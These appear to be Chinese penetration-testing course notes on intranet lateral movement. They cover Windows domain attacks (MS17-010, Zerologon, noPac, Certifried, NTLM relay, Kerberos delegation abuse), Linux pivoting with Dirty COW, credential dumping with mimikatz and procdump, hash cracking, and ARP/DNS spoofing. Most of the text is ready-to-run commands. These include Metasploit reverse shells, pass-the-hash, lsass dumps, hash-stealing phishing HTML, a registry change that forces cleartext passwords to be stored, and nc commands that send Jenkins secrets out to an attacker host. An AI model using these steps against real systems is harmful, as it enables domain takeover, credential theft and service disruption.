1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # CS创建外联监听器 # 选择外围http的方式,并命名为msf,输入命令spawn msf,将当前主机的权限移交给msf # msf运行ms 17010 # MSF监听联动配置 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport 8888 run # 添加路由 run autoroute -p //查看当前路由表 run post/multi/manage/autoroute //添加当前路由表 # 检测是否存在 17010 漏洞 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.3.21-32 //设置扫描目标段 set threads 5 //设置扫描线程数 run # 利用模块 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp //目标不出网用正向连接上线 set rhost 192.168.3.25 //设置连接目标 set rhosts 192.168.3.25 //设置扫描目标 run
# MS14-068 (CVE-2014-6324)
见前面 PTT 横向移动课程演示
# CVE-2020-1472
适用 Windows Server 2008、2012、2016 、2019 等。需要先建立 socket 代理端口,将流量转发至公网上,并修改 hosts 文件保证域名解析正确。
重置密码:https://github.com/dirkjanm/CVE-2020-1472
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 获取计算机名 nbtscan -v -h 192.168.3.21 # 连接DC清空凭证 proxychains python cve- 2020 - 1472 - exploit.py OWA20N-GOD 192.168.3.21 # 获取域内HASH proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass # 连接域控PTH python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 # 后续恢复密码 https://github.com/risksense/zerologon https://github.com/SecureAuthCorp/impacket
# CVE-2021-42287
需要一个域内普通账号,可以影响 Windows 基本全系列。
( 1 )参考项目地址:
https://github.com/cube0x0/noPac
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
( 2 )漏洞利用流程:
代理后:修改 Host 绑定域名和 IP
扫描探针: noPac scan -domain god.org -user webadmin -pass admin!@#45
( 3 )利用漏洞
1 2 3 4 5 6 7 8 9 # 创建一个和目标通讯的票据: noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt # 利用psexec弹出cmd窗口: PsExec \\owa2010cn-god.god.org cmd # 也可以利用python的以下脚本执行 # https://github.com/WazeHell/sam-the-admin python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21
# CVE-2022-26923
当 Windows 系统的 Active Directory 证书服务 (CS) 在域上运行时,由于 机器账号中的 dNSHostName 属性不具有唯一性,域中普通用户可以将其更改为 高权限的域控机器账号属性,然后从 Active Directory 证书服务中获取域控机器 账户的证书,导致域中普通用户权限提升为域管理员权限。影响 Win8.1、Win1 0、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022 等版本。
( 1 )前提条件:
一个域内普通账号、域内存在证书服务器 ,可以用 certutial -config -ping 可以判断,如果报错则不存在证书服务器,如果提示其他信息则说明存在,也 可以用 spn 检测。
1 2 3 4 5 6 7 8 9 # a. Kali添加访问域内信息 /etc/hosts 192.168.1.15 xiaodi.local xiaodi-WIN-3C7SS32SQ6R-CAWIN-3C7SS32SQ6 R.xiaodi.local # b. 获取CA结构名和计算机名 certutil -config - - ping # c. 域内信息: 192.168.1.15 test Pass123 xiaodi-WIN-3C7SS32SQ6R-CA WIN-3C7SS32SQ6R.xiaodi.local
( 2 )漏洞利用步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # a. 申请低权限用户证书: certipy req 'xiaodi.local/test:Pass123@WIN-3C7SS32SQ6R.xiaodi.local' -ca xiaodi-WIN-3C7SS32SQ6R-CA -template User -debug # b. 检测证书: certipy auth -pfx test.pfx # c. 创建一个机器账户: python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*' # d. 设置机器账户属性(dNSHostName和DC一致): python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["WIN-3C7SS32SQ6R.xiaodi.local"]' # e. 再次申请证书: certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.1.15' -template Machine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C7SS32SQ6R-CA # f. 检测证书: certipy auth -pfx ./win-3c7ss32sq6r.pfx -dc-ip 192.168.1.15 # g. 导出HASH: python3 secretsdump.py 'xiaodi.local/win-3c7ss32sq6r$@WIN-3C7SS32SQ6R.xiaodi.local' -hashes :10e02bef2258ad9b239e2281a01827a4 # h. 利用HASH: python3 wmiexec.py xiaodi.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
# 其他横向手段
# NTLM Relay 重放
与 NLTM 认证相关的安全问题主要有 Pass The Hash、利用 NTLM 进行信息收集、Net-NTLM Hash 破解、NTLM Relay 几种。PTH 前期已经了,运用 m imikatz、impacket 工具包的一些脚本、CS 等等都可以利用,NTLM Relay 又包括 (relay to smb,ldap,ews)
可以应用在获取不到明文或 HASH 时采用的手法,但也要注意手法的必备条件。
域内用户主机的非域用户角色即 administartor 登录 = 时,如果采用 dir \192.168.x.x\c$ 的方式去访问其他主机的文件,会将当前主机的用户名和密码进行 碰撞,如果对方主机恰好采用了相同的登录名和密码,则碰撞成功,取得访问权限成功。
条件:需要一台域内主机管理员权限,通讯双方当前用户密码一致
以下命令主要是用 msf 做了中继,现将 cs 中的主机联动到 msf,在 msf 中添加路由,选择 smb 重发模块,通过主动连接的方式使肉鸡可以连接到 msf。 当跳板机使用自己的用户名和密码去碰撞 kali 用户名密码时,msf 监听到此碰到并转发给肉机进行碰撞尝试。一旦碰撞成功,就会得到肉机的权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # 设置木马 CS创建外联监听器,选择外围http的方式,并命名为msf,输入命令spawn msf,将当前主机的权限移交给msf # MSF: 监听上线: use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport 8888 run # 添加路由: run autoroute -p # 查看当前路由表 run post/multi/manage/autoroute # 添加当前路由表 backgroup # 返回 # 重发模块: use exploit/windows/smb/smb_relay set smbhost 192.168. 3. 32 //攻击目标 set rhost 192.168.3. 32 //设置连接目标 set autorunscript post/windows/manage/migrate # 主动连接: set payload windows/meterpreter/bind_tcp dir \\192.168.46.166\c$ //设置本地IP jobs 查看当前任务 jobs - K 删除当前任务 run # system->administrator
cs: ps 看哪个进程启用的是 administrator 权限,利用 steal_token pid 来窃取权限,getuid 检验,检验得到是 administrator 的情况时,使用 shell dir \192.168.46.166\c$ 进行碰撞。此后将会在 msf 中上线肉机。
msf: 监听 smb 重发模块之后,返回跳板机 meterpreter 会话,选择 ps,查看拥有 administrator 权限的主机,输入 migrate pid 进行权限修改,getuid 检验权限,输入 shell 执行 dir \192.168.46.166\c$ 会上线肉机,通过 sessions 查看当前是否存在了新的肉机。
# NTLM Inveigh 嗅探
条件:被控主机当前管理员权限
( 1 )监听拦截 Inveigh.exe
项目地址:https://github.com/Kevin-Robertson/Inveigh
可以上传到肉机上,或者 socket 代理出来,执行之后配合钓鱼获取其他主机的 hash,获取到的是 NET NTLM HASH V1 或 V2。
( 2 )触发拦截
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 当肉机执行如下命令时会被拦截hash dir \\192.168.3.x\c$ # 也可以构造内网web进行钓鱼触发http://192.168.3.31/1.html <!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="file:///\\192.168.3.32\2"> </body> </html> # 破解密文 https://github.com/hashcat/hashcat/ hashcat -m 5600 hash pass.txt --show
# 委派攻击分类
参考链接:https://xz.aliyun.com/t/11555
( 1 )非约束性委派 - 没有限制
a. 非约束委派原理:
机器 A (域控) 访问具有非约束委派权限的机器 B 的服务,会把当前认证用户 (域管用户) 的的 TGT 放在 ST 票据中,一起发送给机器 B,机器 B 会把 TGT 存储在 lsass 进程中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认 证用户 (域管用户) 访问服务。
b. 利用场景:
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的 TGT,从而模拟域管用户。
c. 总结
首先判断委派的第三个设置,然后看针对用户,主动攻击。
( 2 )约束性委派 - 有限制
a. 约束委派原理:
由于非约束委派的不安全性,微软在 windows server 2003 中引入了约束委
派,对 Kerberos 协议进行了拓展,引入了 SService for User to Self (S4U2Self) 和 Service for User to Proxy (S4U2proxy)。
b. 利用场景:
如果攻击者控制了服务 A 的账号,并且服务 A 配置了到域控的 CIFS 服务的约束性委派。则攻击者可以先使用 S4u2seflt 申请域管用户(administrator)访问 A 服务的 ST1,然后使用 S4u2Proxy 以 administrator 身份访问域控的 CIFS 服务,即相当于控制了域控。
c. 总结
首先判断委派的第二个设置,然后看针对用户,后续钓鱼配合
( 3 )基于资源的约束性委派 - 资源方面的限制
a. 资源约束委派原理(不需要委派的任何设置!):
基于资源的约束委派 (RBCD) 是在 Windows Server 2012 中新加入的功能,
与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把 设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。 也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfO therIdentity 属性来设置 RBCD。
b. 利用条件:
域控 Windows2012 及以上、存在域内成员用户加入域操作
c. 总结
只看 DC 是不是 2012 及以上帮版本,然后看针对用户,主动攻击。计算机加入域时,加入域的域用户被控后也将导致使用当前域用户加入的计算机受控。
# 非约束委派
域控配置机器的委派属性,信任此计算机来委派任何服务,并且在域控上执行 setspn -U -A priv/test webadmin
,于是 webadmin 有了委派权限。
1 2 3 4 5 # a. 查询域内设置了非约束委派的服务账户: AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn # b. 查询域内设置了非约束委派的机器账户: AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # a. 域控与委派机器通讯 # 域控主动执行: net use \\webserver # 钓鱼诱使域管访问:http://192.168.3.31/31.html <!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="file:///\\192.168.3.31\2"> </body> </html> # b. 导出票据到本地 mimikatz sekurlsa::tickets /export # c. 导入票据到内存 mimikatz kerberos::ptt [0;fece8]- 2 - 0 - 60a00000-Administrator@krbtgt-GOD.ORG.kirbi # d. 连接通讯域控 dir \\owa2010cn-god\c$
# 约束委派
机器设置仅信任此计算机指定服务 - cifs、用户设置仅信任此计算机指定服务 - cifs
1 2 3 4 5 # a. 查询机器用户配置约束委派 AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto # b. 查询服务账户配置约束委派 AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
1 2 3 4 5 6 7 8 9 10 11 12 13 # a. 获取用户的票据 kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit" kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit" # b. 利用用户票据获取域控票据 kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit" kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit" # c. 导入票据到内存 mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi # d. 连接通讯域控 shell dir \\owa2010cn-god.god.org\c$
# 资源约束委派
当多个计算机加入域时,可以使用同一域用户加入,如果有一台加入域的电脑被控,则其余使用该域用户加入域的主机都会被控。
计算机脱域时,需要输入域控账户密码,并且重启。计算机加入域时,需要域控先添加域用户,计算机通过此域用户加入域控,并且重启。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 # 获取受害目标 # 有哪些域内计算机存在同一用户加入的 AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID # 查看是否有相同sid值,有的话可以判断出有多用户使用该域用户加入了域 # 判断受害用户 sid2user.exe \\192.168.3.3 5 21 1695257952 3088263962 2055235443 1104 # 普通域用户设置用户名密码,为域控增加机器 # 项目地址:https://github.com/Kevin-Robertson/Powermad Set-ExecutionPolicy Bypass -Scope Process Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) # 获取新加的计算器的sid: # 工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Import-Module .\PowerView.ps1 Get-NetComputer serviceA -Properties objectsid S-1-5-21-1695257952-3088263962-2055235443-1107 # 设置修改属性 import-module .\powerview.ps1 $ SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257 952-3088263962-2055235443-1107)" $ SDBytes = New-Object byte[] ($SD .BinaryLength) $ SD.GetBinaryForm($SDBytes , 0) # 修改原主机data用户的相关属性 Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # 验证修改是否成功 Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity # 清除修改设置 Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose # 建立代理连接目标获取票据: # 需要修改本地hosts文件,将以下两个域名从本地hosts文件中解析 python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator # 对票据进行操作 # 导入票据到内存: mimikatz kerberos::ptc administrator.ccache # 连接利用票据: dir \\data.xiaodi.local\c$ python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass
# 横向 linux
( 1 )Web DMZ 权限获取
1 2 3 4 5 6 7 8 9 10 # 信息收集: nmap 172.16.250.0/24 # 根据确定的 80 上的opensms10.3搜索漏洞利用方法:/struts2-showcase # 利用msf进行st 2 漏洞利用: use exploit/multi/http/struts2_content_type_ognl set payload linux/x64/meterpreter/reverse_tcp set rhosts 172.16.250.10 set lport 80 run
( 2 )脏牛漏洞权限提升至 root(会把服务器打崩)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 下载exp curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c # msf upload /root/dirtycow-mem.c /tmp shell gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread python3 -c "import pty;pty.spawn('/bin/bash')" ./dirtycow-mem # 稳定脏牛漏洞带来对系统的危害: echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oo ps && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
( 3 )linux 信息收集:
1 2 3 4 5 6 7 8 9 10 11 12 # 找到敏感文件 /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties # 发现存在172.16.250.30 8080的网站,但只允许跳板机访问,可以用ssh做代理转发流量 # 找到ssh的私钥文件可以连接到jenkins机器,进行远程登录 cat ~/.bash_history cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 id_rsa download /tmp/id_rsa /root/id_rsa chmod 0600 id_rsa ssh -i id_rsa root@172.16.250.30 netstat - tunlp
( 4 )msf 设置代理将端口转发
1 2 3 4 5 6 7 8 9 10 # set use auxiliary/server/server/socks_proxy set srvport 2222 run # conf jobs 查看当前工作是否正常 vim /etc/proxychains4.conf dynamic_chain 只需保证一个代理正确即可使用 # strict_chain 需保证每一个代理都准确
( 5 )Jenkins DMZ 后台存储的密钥传输
1 2 3 4 5 6 7 8 9 # 本地用nc接受文件: nc -lvp 1234 > master.key nc -lvp 1234 > hudson.util.Secret nc -lvp 1234 > credentials.xml # 肉鸡用nc将文件反向传输出去: nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key nc 172.16.250.128 1234 < /home/jenkins/credentials.xml
( 6 )破解密匙:
项目地址:https://github.com/cheetz/jenkins-decrypt
python decrypt.py master.key hudson.util.Secret credentials.xml
( 7 )Database DMZ 权限获取
密码横向: ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h
权限提升:getuid 及 sudo su
# 密码获取
( 1 )密码读取 - 没啥用、适用版本少:
项目地址:https://github.com/huntergregal/mimipenguin
使用方法:sh mimipenguin.sh
( 2 )密码破解(SHA 512 居多)- 不容易破解:
1 2 3 4 5 6 7 8 9 10 11 # 根据shadow获取root密码进行破解 cat /etc/shadow hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt # 加密形式 linux sha512crypt $6$, SHA512 (Unix)加密方式:hashcat -m 1800 sha512linux.txt p.txt linux sha256crypt $5$, SHA256 (Unix)加密方式:hashcat -m 7400 sha256linux.txt p.txt linux md5crypt, MD5 (Unix), Cisco-IOS$1$ (MD5)加密方式:hashcat -m 500 linuxmd5.txt p.txt # linux下bcrypt $2 *$, Blowfish加密方式: hashcat -m 3200 linuxmd5.txt p.txt
微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。 当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,Win dows-Mimikatz 会无法导出明文,此时可以通过修改注册表的方式抓取明文,但 需要用户重新登录后才能成功抓取。获取明文信息可以方便横向移动,可以有 更多的字典组合,明文要比 hash 要好用的多。
( 1 )在线读
工具地址:https://github.com/gentilkiwi/mimikatz
`mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords”``
( 2 )离线读
链接:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
在 2012server 后只能读取到 hash 而不能读取到明文密码,Procdump 是微软 官方的工具,可在命令行将 lsass 导出且杀软不会拦截,针对防护拦截 Mimikat z,用 procdump 将密码或 hash 转储到 lsass,在用本地的 mimikaztz 进行离线解析,或直接从从内存中将数据导出。
1 2 3 4 # 转储 lsass Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.DMP" sekurlsa::logonPasswords full
( 3 )解决高版本
修改注册表 + 强制锁屏 + 等待系统管理员重新登录 + 截取明文密码
修改注册表来让 Wdigest Auth 保存明文口令方式
shell reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
再次使用 mimikatz 时,将可以成功导出明文票据
( 4 )HASH 破解
方法:hashcat 工具 cmd5、 somd5 在线网站
1 2 3 4 5 6 7 8 # hashcat使用方法如下: # 字典破解 .\hashcat.exe -a 0 -m 1000 .\hash.txt .\pass.txt # 暴力破解 hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c?l?l?l?l?l?s?s?s?d?d -m 密文类型 -a 破解类型 ?l 小写 ?s 符号 ?d 数字
( 5 )RDP 凭据抓取
mstsc 连接过其他机器,如果选择保存凭剧,则可以通过以下方式导出 rdp 密码。
1 2 3 4 5 6 7 8 9 10 11 12 # 查看连接记录 cmdkey /list # 查找本地的Credentials dir /a %userprofile%\appdata\local\microsoft\credentials\*Credentials记录guidMasterKey值: mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\ local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B # 找到guidMasterKey对应的MasterKey: mimikatz sekurlsa::dpapi # system权限解密指定的MasterKey凭据: mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credential s\ 5FBB2585F99BA05366F08E52F1C1740B /masterkey:f70e1a641096f1b63731d571b43b33aaf009f6af5a3352504e6ddb3cd158f17eec2d541f18b8289ebf547d871dfb257a6bbbd5232550eb6f26a06d39378da4a5
凭据导出:https://github.com/WazeHell/sam-the-admin
python sam_the_admin.py test0/‘xiaodi:admin!@#45’ -dc-ip 192.168.10.20 -shell
# 父域子域
设置父子域的时候,先设置父域及其控制的两台域用户电脑。对三台电脑 分别配置 ip 地址,并解析到父域的 ip 上,修改三者的计算机名称。对父域的服 务器管理做设置,选择添加角色和功能向导,服务器角色配置中选择域服务, 完成之后将此计算机提升为域控,并添加新林,设定自定义域,netbios 名称等。
通过在父域上添加新的角色,并使普通计算机以域用户身份加入域即可加 入该父域。子域的设置时,需要在父域上先开启 DNS 的一个开关,然后将子域 按照父域的设置方式添加角色和功能向导,区别在于设置为域控方式为加入域 为现有林,林为父域的信息,并自定义相关内容之后即可成功设置为子域。
子域控制的计算机,其 dns 解析地址需要设置为子域控的 ip 地址。同父域 管辖的计算机一样,通过给子域管辖的计算机设置新的用户名供其登录。修改 子域控的 dns 解析,首选本身,备选为父域控。而后将最后一台电脑加入到子 域即可。
# 局域网渗透
单向欺骗:攻击机伪造数据包后本应该传输给靶机的数据错误的传输给攻 击机,使靶机得不到服务器的响应数据,甚至根本无法将数据包发送出局域网。
双向欺骗:攻击机一直发送伪造的数据包,欺骗网关自己是靶机,欺骗靶 机自己是网关,同时开启路由转发功能,就可以让靶机在正常上网的情况下截 获网络数据包,所有数据都会经过攻击机再转发给靶机。
科来网络分析系统,科来数据包生成器,封装数据包,给靶机造成假象,认为攻击机才是网关地址,造成靶机无法正常上网。
Arpspoof Wireshark 科来网络分析系统
Arpspoof Windows:https://github.com/alandau/arpspoof
Arpspoof Linux:apt-get install dsniff
1 2 3 4 5 6 7 8 9 10 # 开启转发 echo 1 >> /proc/sys/net/ipv4/ip_forward # 如果不开启转发,流量被检测到之后,对方无法正常通讯网络 # 开启欺骗 arpspoof -i eth0 -t 192.168.1.9 -r 192.168.1.1 # - i 指定进行arp攻击的网卡、-t 目标主机IP、-r 进行双向攻击、最后为网关的IP地址 # WireShark&科来网络分析系统: # 分析是否能够捕获到双向劫持靶机上的流量 ip.addr==192.168.1.9
使用 kali 自带的 ettercap -G 进行 dns 劫持,将目标主机访问特定 url 地址的 流量解析到 ettercap 配置文件中规定的解析地址,一般会在 kali 上开启 apache 服 务进行钓鱼。注意需要清除靶机上的 dns 缓存、浏览器缓存等。
设置劫持网卡、扫描网卡存活 IP、选择攻击目标 IP、启用 ARP 监听模式、 设置 DNS 劫持规则、启用 DNS 劫持插件。